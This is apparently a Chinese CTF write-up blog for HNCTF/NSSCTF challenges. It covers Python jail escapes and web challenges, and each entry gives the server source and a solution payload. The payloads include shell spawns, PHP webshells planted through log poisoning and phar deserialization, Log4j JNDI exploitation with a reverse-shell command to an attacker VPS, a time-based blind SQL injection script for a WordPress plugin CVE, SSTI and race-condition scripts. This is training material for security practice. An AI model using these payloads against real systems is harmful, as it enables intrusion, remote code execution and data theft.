flag=NSSCTF{3b707fa6-65d4-4cd3-8b5b-5bfa6b63bc2a}
my_flag.flag_level5.index('NSSCTF{*') #爆破

NSSCTF jail level 6

题解

  • server.py
import sys

def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
    dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)


def main():
  WELCOME = '''
  _                _                           _       _ _   _                _   __
 | |              (_)                         (_)     (_) | | |              | | / /
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
              __/ |                          _/ |
             |___/                          |__/                                                                        
  '''

  CODE = '''
  dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)
  '''

  print(WELCOME)

  print("Welcome to the python jail")
  print("Let's have an beginner jail of calc")
  print("Enter your expression and I will evaluate it for you.")
  print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
  print("Some code of python jail:")
  print(CODE)
  my_input()

if __name__ == "__main__":
  sys.addaudithook(my_audit_hook)
  main()
  • 非预期
__builtins__["__loader__"].load_module("_posixsubprocess").fork_exec([b"/usr/bin/cat", "flag"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__builtins__["__loader__"].load_module('os').pipe()), False, False, None, None, None, -1, None)
  • 预期
exec("globals()['__builtins__'].set=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')")

NSSCTF jail level 7

题解

  • server.py
import ast
import sys
import os

WELCOME = '''

    _       _ _   _                _                         _                _ ______
   (_)     (_) | | |              (_)                       | |              | |____  |
    _  __ _ _| | | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| |   / /
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |  / /
   | | (_| | | | | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ | / /
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/
  _/ |                        __/ |
 |__/                        |___/

'''

def verify_ast_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
        print(f"ERROR: Banned statement {x}")
        return False
  return True


def exexute_code(my_source_code):
  print("Pls input your code: (last line must contain only --HNCTF)")
  while True:
    line = sys.stdin.readline()
    if line.startswith("--HNCTF"):
      break
    my_source_code += line

  tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
  if verify_ast_secure(tree_check):
    print("check is passed!now the result is:")
    compiled_code = compile(my_source_code, "input_code.py", 'exec')
    exec(compiled_code)
  print("Press any key to continue")
  sys.stdin.readline()


while True:
  os.system("clear")
  print(WELCOME)
  print("=================================================================================================")
  print("==           Welcome to the calc jail beginner level7,It's AST challenge                       ==")
  print("==           Menu list:                                                                        ==")
  print("==             [G]et the blacklist AST                                                         ==")
  print("==             [E]xecute the python code                                                       ==")
  print("==             [Q]uit jail challenge                                                           ==")
  print("=================================================================================================")
  ans = (sys.stdin.readline().strip()).lower()
  if ans == 'g':
     print("=================================================================================================")
     print("==        Black List AST:                                                                      ==")
     print("==                       'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef  ==")
     print("==                        Sub,Mult,Div,Del'                                                    ==")
     print("=================================================================================================")
     print("Press any key to continue")
     sys.stdin.readline()
  elif ans == 'e':
    my_source_code = ""
    exexute_code(my_source_code)
  elif ans == 'q':
    print("Bye")
    quit()
  else:
    print("Unknown options!")
    quit()
  • payload
@exec
@input
class A:
    pass
--HNCTF

__import__('os').system('car flag')

NSSCTF s@Fe safeeval

题解

  • server.py
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval

# https://github.com/Gallopsled/pwntools/blob/ef698d4562024802be5cc3e2fa49333c70a96662/pwnlib/util/safeeval.py#L3
_const_codes = [
    'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
    'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
    'BUILD_CONST_KEY_MAP', 'BUILD_STRING',
    'LOAD_CONST','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP',
    'LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE',
    ]

_expr_codes = _const_codes + [
    'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
    'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY',
    'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE',
    'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT',
    'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR',
    'BINARY_OR',
    ]

blocklist_codes = _expr_codes + ['MAKE_FUNCTION', 'CALL_FUNCTION']

TURING_PROTECT_SAFE = True

banned = '''
    [
        'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
        'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
        'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
        'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
        'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
        'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
        'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
        'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
    ]
'''

code = '''
    import os
    import sys
    import traceback
    import pwnlib.util.safeeval as safeeval
    input_data = input('> ')
    print(expr(input_data))
    def expr(n):
        if TURING_PROTECT_SAFE:
            m = safeeval.test_expr(n, blocklist_codes)
            return eval(m)
        else:
            return safeeval.expr(n)
'''

WELCOME = '''
              ______                __                     _
        ____ |  ____|              / _|                   | |
  ___  / __ \| |__ ___   ___  __ _| |_ ___  _____   ____ _| |
 / __|/ / _` |  __/ _ \ / __|/ _` |  _/ _ \/ _ \ \ / / _` | |
 \__ \ | (_| | | |  __/ \__ \ (_| | ||  __/  __/\ V / (_| | |
 |___/\ \__,_|_|  \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
       \____/                                                                                                           
'''


def expr(n):
    if TURING_PROTECT_SAFE:
        m = safeeval.test_expr(n, blocklist_codes)
        return eval(m)
    else:
        return safeeval.expr(n)

try:
    print(WELCOME)
    print('Turing s@Fe mode:', 'on' if TURING_PROTECT_SAFE else 'off')
    print('Black List:')
    print(banned)
    print('some code:')
    print(code)
    while True:
        input_data = input('> ')
        try:
            print(expr(input_data))
        except Exception as err:
            traceback.print_exc(file=sys.stdout)
except EOFError as input_data:
    print()
  • payload
(lambda: os.system('/bin/sh'))()
cat flag

NSSCTF python2 jail

题解

  • server.py
WELCOME = '''
              _   _      ___        ___    _____             _    _ _   
             | | | |    / _ \      |__ \  |_   _|           | |  | | |  
  _ __  _   _| |_| |__ | | | |_ __    ) |   | |  _ __  _ __ | |  | | |_ 
 | '_ \| | | | __| '_ \| | | | '_ \  / /    | | | '_ \| '_ \| |  | | __|
 | |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_ 
 | .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
 | |     __/ |                                        | |               
 |_|    |___/                                         |_|                               
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data
  • payload
__import__("os").system('cat flag')

NSSCTF jail lake lake lake

题解

  • server.py
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                    
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)
  • payload
1

globals()

{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f090e9a0ac0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f090eb3fd90>, 'backdoor': <function backdoor at 0x7f090ea01fc0>, 'WELCOME': '\n'}

2

a34af94e88aed5c34fb5ccfe08cd14ab

__import__("os").system('cat flag')

NSSCTF jail l@ke l@ke l@ke

题解

  • server.py
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass
def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")
WELCOME = '''
  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
 | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                                                                        
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)
  • payload

1 > help() > server > 1 > help() > server
第一次 help() 中查看 server 时,环境变为 server.py,此时可以查看变量
ke_9d38ee7f31d6126d = ’95c720690c2c83f0982ffba63ff87338′
NSSCTF{422d9d33-4c34-49ec-889c-a7fd7dd3f15a}

NSSCTF laKe laKe laKe

题解

  • server.py
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1

    return game_score

WELCOME='''
  _       _  __      _       _  __      _       _  __    
 | |     | |/ /     | |     | |/ /     | |     | |/ /    
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _ \
 | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print(open_func('flag').read())
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()
  • payload
list(__import__('sys')._getframe(1).f_locals.values())[1]

NSSCTF Side-channel/pyjail: tyPe Ch@nnEl

题解

  • server.py
MY_FLAG = "NSSCTF{fake_flag_in_local_but_really_in_The_remote}"
BLACED_KLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r'
def my_safe_check(n):
    return all(ord(m) < 0x7f for m in n) and all(m not in n for m in BLACED_KLIST)
def my_safe_eval(m, my_func):
    if not my_safe_check(m):
        print("Hacker!!!!")
    else:
        try:
            print(eval(f"{my_func.__name__}({m})", {"__builtins__": {my_func.__name__: my_func}, "flag": MY_FLAG}))
        except:
            print("Try again!")
if __name__ == "__main__":
    my_safe_eval(input("Payload:"), type)
  • 题目分析

eval 的执行环境很干净,啥都没有,能用的只有数据类型的初始属性,并且所有魔法方法都不能用,意味着全程只能用 flag 中存在的东西操作 flag

dir('')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
  • 新知识++

True == 1 False == 0 可用此来判断 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper'

flag.join(flag).split(flag).pop().split().pop(flag.join(flag).split(flag).pop({num}).isdigit())

type([])(‘test’) == list(‘test’) –> [‘t’, ‘e’, ‘s’, ‘t’]

bytes 的切片数据类型为 int
a = b’test’
type(a) –> “bytes”
type(a[0]) –> “int”
a[0] ^ 1 –> 117

来自学长部分 payload

  • 非预期解(运气好,静态flag,费时)

通过 flag.join(flag).split(flag) 可以得到单个字符构成的 list
通过 list.pop() 弹出元素,然后切割 flag,确定弹出元素所在的位置
可以通过分割后 list 元素的数量判断重复次数,通过单个元素的长度判断 单个字符的位置
到最后就只能硬猜了,运气好,就猜了 4 次

  • 预期解
type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})


i => flag 单字符位置
guess => num 猜测字符的 ascii 码
当相等时 return NoneType,当不相等时 报错,然后开始爆破

  • 优化预期解
type(flag.split())(type(flag.split())(flag).pop({}).encode()).remove({})

Web

Challenge RCE

题解

  • index.php
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}
  • 正则匹配过滤了几乎所有的字符,利用自增得到$_GET[1]

直接构造应该是不行的,到最后成功压缩到 121 个字符,过不了,不放了

<?php
$_=([]._)[3];   // a
$_++;
$_++;
$_.=$_;    // cc
$_++;
$_++;
$_++;
$_++;
$_++;        // ch
$_.=([]._)[1];   // chr
$_=_.$_(71).$_(69).$_(84);  // _GET
($$_[0])($$_[1]);   // ($_GET[1])($_GET[2])

easy_unser

题解

  • index.php
<?php 
    include 'f14g.php';
    error_reporting(0);

    highlight_file(__FILE__);

    class body{

    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want){
        $About_me = "When the object is created,I will be called";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";

    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    }
}

    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
        function __sleep(){
            $About_me = "When the object is serialized,I will be called";
            echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
        }
        function __toString(){
            $About_me = "When the object is used as a string,I will be called";
            return $this->CORE;
        }
    }

    $obj = new unserializeorder();
    echo $obj;
    $obj = serialize($obj);


    if (isset($_GET['ywant']))
    {
        $ywant = @unserialize(@$_GET['ywant']);
        echo $ywant;
    }
?>
  • payload
<?php
$a = new body('./a/../f14g.php', 'test');   //  利用伪造路径绕过 is_file and == f14g.php
echo urlencode(serialize($a));
// 对象数量加一,绕过 body::__wakeup()
// url 编码,因为其中变量包含 private

easy_include

题解

  • index.php
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}
  • 过滤了 伪协议,异或,取反,拼接,flag,但是好像没有过滤 file://
  • 可以访问日志文件

/var/log/nginx/access.log

  • 通过user-agent上传木马
<?php eval($_POST["cmd"]); ?>
  • hackbar改包,上传,上传成功后并不能看到木马内容,不显示,但已经成功了
  • 蚁剑连接,出 flag

NSSCTF{a1cba83f-3eee-4e32-b585-72dc6ec14b16}

CanYouRCE

题解

  • index.php
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?>  please input code
  • 从正则表达式得到是考无参数RCE (网上搜的
  • 无参数RCE

只能执行类似 a(b(c()))
但是不能执行 a(‘test’)

  • 不总结所有了,之后专门写一个,只写这用到的(先写作业

readfile(array_rand(array_flip(scandir(pos(localeconv())))))
因为是随机元素,总会有一个是 flag.php

  • 审查,得 flag

NSSCTF{193fff60-095b-4ed4-ac77-984df2b1b842}

ez_phar

题解

  • index.php
<?php
show_source(__FILE__);
class Flag{
    public $code;
    public function __destruct(){
    // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?>
upload something upload something
  • payload
<?php 
    class Flag{
        public $code='echo success;eval($_POST["cmd"]);';
        public function __construct($code){
            $this->code=$code;
        }
    }
    $a = new Flag();
    $phar = new Phar("test.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "123"); 
    $phar->stopBuffering();
?>
  • 修改后缀为 png 上传,蚁剑连接 upload/test/test.txt

?filename=phar://upload/test.png/test.txt

  • flag

NSSCTF{0df9cc80-ca68-4b9d-b331-7406fc05cd06}

logjjjjlogjjjj

题解

  • 下载exp
https://codeload.github.com/bkfish/Apache-Log4j-Learning/zip/refs/heads/main
  • 在服务器上启动服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev /tcp/{Your VPS IP}/{Listen Port} 0>&l" -A {Your VPS IP} 

>>> 

[ADDRESS] >> 0.0.0.0
[COMMAND] >> bash -i >& /dev /tcp/{Your VPS IP}/{Listen Port} 0>&l
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://0.0.0.0:1099/24fdbb
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://0.0.0.0:1099/asvdvd
ldap://0.0.0.0:1389/asvdvd
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://0.0.0.0:1099/sacadv
ldap://0.0.0.0:1389/sacadv
  • 开启 VPS 监听
ncat -lvvp {Port}
  • payload
hello?payload=${jndi:ldap://0.0.0.0:1389/sacadv}
/
hello?payload=${jndi:ldap://0.0.0.0:1389/asvdvd}
  • 连接成功后找 Flag
cat sos4cret

NSSCTF{a7a3cb40-db51-40ce-936f-325ab93d2174}

SSTI

题解

  • 过滤

_ os args

  • 通过传参绕过

request.form.{}

  • payload
{{()[request.form.c][request.form.b][request.form.s]()[-15][request.form.i][request.form.g][request.form.o][request.form.sys](request.form.com).read()}}
  • flag

NSSCTF{078be9fe-c174-4943-a10b-84d9e9f46625}

ohmywordpress

题解

  • CVE-2022-0760 盲注

https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210

  • exp
import requests
import time

url = 'http://1.14.71.254:28504/wp-admin/admin-ajax.php'

dicts = r'NSSCTF{-abcdef0123456789}'

flag = ''

for i in range(1,99999):
    for s in dicts:
        payload = "(SELECT 3 FROM (SELECT if(ascii(substr((select group_concat(flag) from ctftraining.flag),{},1))={}, sleep(5),0))enz)".format(i,ord(s))
        start_time = time.time()
        print(s)
        res = requests.post(url,data={
            'action': 'qcopd_upvote_action',
            'post_id': payload
            })
        stop_time = time.time()
        if stop_time - start_time >= 5:
            flag += s
            print('FOUND!!!',flag)
            break

QAQ_1inclu4e

题解

  • session.upload_progress 文件包含 + 条件竞争

https://www.freebuf.com/vuls/202819.html

  • exp
# coding=utf-8
import io
import requests
import threading

sessid = ' sessid ' # sessid 根据正则修改
data = {"cmd": "system(' BASH ');"}
url = "http://43.143.7.97:28468/"

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST['cmd']);?>"},
                            files={'file': ('QAQ.txt', f)}, cookies={'PHPSESSID': sessid})

def read(session):
    while True:
        resp = session.post(url+'?filter=/tmp/sess_' + sessid,
                            data=data)
        if 'QAQ.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            pass

if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

Fun_php

题解

  • php特性狠活

https://www.cnblogs.com/murkuo/p/15388795.html
https://blog.csdn.net/not_code_god/article/details/123910155

  • payload
@Get
?user=114514a&pass=0&mySaid=QNKCDZO&myHeart=240610708&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6ctf

@POST
data[]=0&verify[]=1&want=f*%26%26tac+f*>a

unf1ni3hed_web3he11

题解

  • session.upload_progress反序列化,条件竞争

https://blog.csdn.net/qq_61237064/article/details/123405767

  • 流量抓取到真的题目位置:Rea1web3he11.php,根据提示 t00llll,访问t00llll.php 得到查看源码的方法,协议读取
include_=php://filter/convert.base64-encode/resource=Rea1web3he11.php
  • php 反序列化
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

class webshell{
    public $caution;

    function __construct(){
        $this -> caution = new execution();
    }

    function __destruct(){
        $this -> caution -> world_execute();
    }

}
class caution{
    function world_execute(){
        echo "Webshell初&#%始*$%&^化,$))(&*(%#^**ERROR**#@$()"."<br>";
    }
}
class execution{
    public $cmd;
    function __construct(){
        $this -> cmd = "system('find / -name flag*');";
        # $this -> cmd = "phpinfo();";
    }
    function world_execute(){
        eval($this -> cmd);
    }
}
$a=new webshell();
$b=serialize($a);
$c=addslashes($b);
$d=str_replace("O:8:","|O:8:",$c);
echo $d;
?>
···echo
|O:8:\"webshell\":1:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:29:\"system(\'find / -name flag*\');\";}}
···
  • 这个地方注意,我们只需要转义' " '双引号,而如果转义了单引号会导致序列化后的对象命令无法执行,所以最后传参的payload如下:
|O:8:\"webshell\":1:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:29:\"system('find / -name flag*');\";}}
  • 条件竞争
#coding=utf-8
import requests
import threading
import io

def exp():
    while True:
        et.wait()
        url = 'http://120.48.91.102:40888/Rea1web3he11.php'
        headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'DNT': '1',
        'Cookie': 'PHPSESSID=aaaaaa',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1'
        }
        f = io.BytesIO(b'a' * 1024)
        proxy = {
        'http': 'http://127.0.0.1:8080'
        }
        data={'PHP_SESSION_UPLOAD_PROGRESS':'aaaaaa'}
        files={
            'file':(r'|O:8:\"webshell\":1:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:10:\"phpinfo();\";}}',f,'text/plain')
        }

        resp = requests.post(url,headers=headers,data=data,files=files,proxies=proxy) #,proxies=proxy
        resp.encoding="utf-8"
        print(resp.content.decode('utf-8').encode('utf-8'))
        # if len(resp.text)<2000:
        #     print('[+++++]retry')
        # else:
        #     print(resp.content.decode('utf-8').encode('utf-8'))
        #     et.clear()
        #     print('success!')


if __name__ == "__main__":
    et=threading.Event()
    for i in range(1,40):
        threading.Thread(target=exp,).start()
    et.set()
  • 抓包

fun_sql

题解

  • 堆叠注入
  • payload
%27;insert%20into%20ccctttfff%20values(%272%27,%27aa%27,%27asdas%27);SELECT%201,2,3%20%271

HNCTF官方wp

  • Pwn wp:https://hxz3zo0taq.feishu.cn/docx/doxcn7rfTxf8pk2UhNexjMOLQhb
  • Reverse wp:https://dqgom7v7dl.feishu.cn/docx/doxcnFESSimJ4UEvZK9ja8ZnArg
  • Web wp:https://dqgom7v7dl.feishu.cn/docx/doxcnfAleQyWvxtaviJQUyfedGd
  • Crypto wp:https://hxz3zo0taq.feishu.cn/docx/doxcnN6eRa9M02PQXrBr2dZ0pWg
  • Misc wp:https://nbkixd94d9.feishu.cn/docx/UFbrdq4iVoas5Ox365Wcp9HcnCh
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
